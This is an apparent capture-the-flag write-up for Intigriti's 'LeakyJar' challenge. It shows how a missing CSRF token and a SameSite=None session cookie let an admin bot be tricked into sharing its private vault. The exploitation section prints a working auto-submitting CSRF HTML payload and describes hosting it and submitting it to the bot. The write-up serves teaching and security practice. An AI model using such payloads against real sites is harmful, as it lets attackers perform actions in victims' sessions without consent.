Post cover image

June 30, 2026

Intigriti June 2026 Bonus Challenge — LeakyJar Writeup

How a Missing CSRF Token Spilled the Master Baker’s Secrets

By 0xruh4n

4 min read

How a Missing CSRF Token Spilled the Master Baker's Secrets

📌 Challenge Info

Reconnaissance

The challenge presents LeakyJar — a cookie recipe sharing platform where bakers can share recipes, leave reviews, and maintain private recipe collections.

Upon landing on the challenge page, I was greeted with a warm, cookie-themed homepage with navigation links to:

  • /challenge — Home
  • /recipes — Browse all cookie recipes
  • /bakers — View baker profiles
  • /register — Create an account
  • /login — Sign in

Creating an Account

I started by registering a new account. After registration, I was redirected to /vault — a private "recipe box" page. This is where things got interesting.

Once authenticated, two new routes appeared in the navigation:

  • /vault — My recipe box (private collection)
  • /submit — Report a recipe (sends URL to admin bot)

Application Mapping

After exploring all endpoints, here's the full application map: Public Routes:


├── /challenge → Homepage
├── /recipes → All recipes listing
├── /recipes/:uuid → Individual recipe + reviews
├── /bakers → Baker profiles
├── /baker/:uuid → Individual baker profile
├── /register → Registration (POST)
└── /login → Login (POST)
Authenticated Routes:
├── /vault → Private recipe box
├── /vault/add → Add recipe to box (POST)
├── /vault/:uuid → View a shared recipe box
├── /share → Share vault with another user (POST) ⚠️
├── /submit → Report URL to admin bot (POST)
└── /logout → Sign out
Identifying the Vulnerability

The Vault Page — /vault

The vault page is the heart of the application. It has three key sections:

1. My Recipes — Your private recipe collection

2. Add a Recipe — Form to save recipes:

<form method=”POST” action=”/vault/add”>
 <input id=”name” name=”name” type=”text”>
 <input id=”password” name=”password” type=”text”>
 <button type=”submit”>Save to box</button>
</form>

3. Share My Recipe Box — This is where I found the vulnerability:

<! — share your recipe box (the CSRF-vulnerable action) →
<form method=”POST” action=”/share”>
 <input id=”username” name=”username” type=”text”>
 <button type=”submit”>Share box</button>
</form>

Wait — did the developers just leave an HTML comment saying "the CSRF-vulnerable action"? 👀 Yes, they did. That's our target.

Checking for CSRF Protection

I immediately checked for any CSRF defenses:

  • ❌ CSRF Token in form — Not present
  • ❌ CSP Headers — Not present
  • ❌ X-Frame-Options — Not present
  • ⚠️ SameSite Cookie — Set to None

The session cookie was set with:

Set-Cookie: session=...; Secure; HttpOnly; Path=/; SameSite=None

SameSite=None means the browser will attach the session cookie even on cross-site requests. Combined with no CSRF token, this is a textbook CSRF vulnerability.

The Admin Bot — /submit

<h1>Report a recipe</h1>
<p>Paste a link and the Master Baker will take a look.</p>

<form method="POST" action="/submit">
    <input id="url" name="url" type="url" placeholder="https://...">
    <button>Send to the Master Baker</button>
</form>

This page allows us to submit a URL that the Master Baker (admin bot) will visit using a browser. Classic CSRF challenge setup.

The Master Baker

On the /bakers page, the Master Baker's profile reads:

"Founder of Leaky Jar and keeper of the jar's most guarded recipes. Shares the secret ones with no one." — Username: admin The admin has a private vault containing secret recipes — and presumably, the flag. The Attack Plan

The attack chain became clear:

1. Register an account on LeakyJar
2. Host a CSRF exploit page that auto-submits POST /share
   with our username as the value
3. Submit the hosted URL to the admin bot via /submit
4. Admin bot visits our page → CSRF fires →
   admin's vault gets shared with our account
5. Visit /vault → view admin's shared recipe box → FLAG!

Why This Works

When the admin bot visits our malicious page:

  1. Our page contains a form targeting https://leakyjar.intigriti.io/share
  2. The form auto-submits via JavaScript
  3. Because SameSite=None, the admin's session cookie is included in the cross-origin POST request
  4. The server processes the request as if the admin intentionally shared their vault
  5. The admin's private recipes (including the flag) become visible to us

Exploitation

Step 1: Register an Account

I registered a new account with the username rana on LeakyJar.

Step 2: Craft the CSRF Payload

<html>
  <body>
    <form action="https://leakyjar.intigriti.io/share" method="POST">
      <input type="hidden" name="username" value="rana" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

This simple page:

  • Creates a hidden form targeting /share
  • Sets the username to my account (rana)
  • Auto-submits the form on page load

Step 3: Host the Exploit

None

I hosted the CSRF payload on GitHub Pages to get a publicly accessible HTTPS URL:

https://<my-github-username>.github.io/leakyjar/
Note: I initially tried using ngrok, but the free tier's interstitial warning page prevented the admin bot from reaching my payload. GitHub Pages worked flawlessly.

Step 4: Trigger the Admin Bot

None None

I navigated to /submit, pasted my GitHub Pages URL, and clicked "Send to the Master Baker".

The server responded with:

"Sent — the Master Baker will check it shortly."

Step 5: Capture the Flag 🏁

After waiting a few seconds, I visited /vault and scrolled down to the "Shared with you" section.

None None

There it was — the admin's recipe box, now shared with my account. I clicked "View" and found the flag stored as a secret recipe in the Master Baker's private collection!

INTIGRITI{...}

🎉 Challenge solved!